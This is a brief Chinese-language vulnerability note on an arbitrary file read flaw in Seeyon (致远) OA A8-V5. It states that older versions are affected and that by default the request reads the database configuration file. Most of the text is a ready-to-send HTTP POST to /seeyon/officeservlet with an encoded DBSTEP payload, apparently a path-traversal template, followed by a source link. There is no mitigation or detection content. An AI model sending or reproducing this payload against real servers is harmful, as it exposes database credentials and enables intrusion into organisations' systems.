致远OA A8-V5 任意文件读取

影响老版本，默认读取数据库配置文件。

POST /seeyon/officeservlet HTTP/1.1
Host: target
...

DBSTEP V3.0     331             0               0               currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
RECORDID=wLehP4whzUoiw=66
CREATEDATE=wLehP4whzUoiw=66
originalFileId=wV66
needReadFile=NrMGyV66
originalCreateDate=wLehP4whzUoiw=66
OPTION=LKDxOWOWLlxwVlOW
COMMAND=BSTLOlMSOCQwOV66
TEMPLATE=qf85qf85qfDfeazQqAzvcRevy1W3eazvNaMUySz3d7TsdRDsyaM3nYli
affairMemberId=wV66
affairMemberName=N1liNg66

ref：

https://mp.weixin.qq.com/s/xZT7RRRxsNX6BN3bwFK67A